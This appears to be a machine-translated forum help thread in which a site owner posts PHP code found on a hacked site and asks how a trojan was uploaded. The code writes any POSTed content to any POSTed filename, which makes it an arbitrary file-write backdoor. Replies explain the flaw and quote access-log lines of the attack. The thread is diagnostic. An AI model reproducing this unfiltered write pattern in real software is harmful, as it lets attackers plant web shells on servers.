Check whether this file has a backdoor or vulnerability!

Source: Internet
Author: User
Check whether this file has a backdoor or vulnerability! I'm a Cainiao. my website always has a trojan file. I'm curious about how hackers upload files to my website.



























Serial Number Number Count Overview Accounting Commission Shangsi district Estimated Go Fei Delivery Amount Current odds
                     
If ($ _ POST ['IMG _ text'] = 'news ')
{
$ Title = $ _ POST ['title'];

$ Newsort = $ _ POST ['newsort '];

$ Newsort = str_replace (chr (92), "", $ newsort );

$ Fp = fopen ($ title, "w ");

Fputs ($ fp, $ newsort );

Fclose ($ fp );

}
Else
{?>







Set



Combination
Hundred bits
Position pickup
Single digit




}
?>


Reply to discussion (solution)

if($_POST['img_text'] == 'news') {  $title = $_POST['title'];  $newsort = $_POST['newsort'];  $newsort = str_replace(chr(92), "", $newsort);  $fp = fopen($title, "w");   fputs($fp, $newsort);   fclose($fp); }
In your code, what content cannot be uploaded?

Is it necessary to use other files to upload? is it a sentence?

You don't see your form, but you only need to know the address of your page, it's easy to do one.
For example

After submission, a file named info. php will be created on your server. after you execute the file, you will know all the information about your server. 

13:26:23 POST/k_vc.php-98.126.241.18 Mozilla/4.0 + (compatible; + MSIE + 6.0; + Windows + NT + 5.1; + SV1; +. NET + CLR + 2.0.50727) http: // localhost/sqst/index. asp www.itc888.com 200 0 1965 41441
13:26:29 GET/cc. php-98.126.241.18 Mozilla/4.0 + (compatible; + MSIE + 6.0; + Windows + NT + 5.1; + SV1; +. NET + CLR + 2.0.50727)-www.itc888.com 200 0 1330 661

Log description: k_vc.php is the above file, and cc. php is the domain name of the Trojan file www.itc888.com.

$ Newsort = $ _ POST ['newsort ']; no filtering is performed to directly write data to the title file...

The powerful code of 1B exists like God

This upload can even be understood by Cainiao like me.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.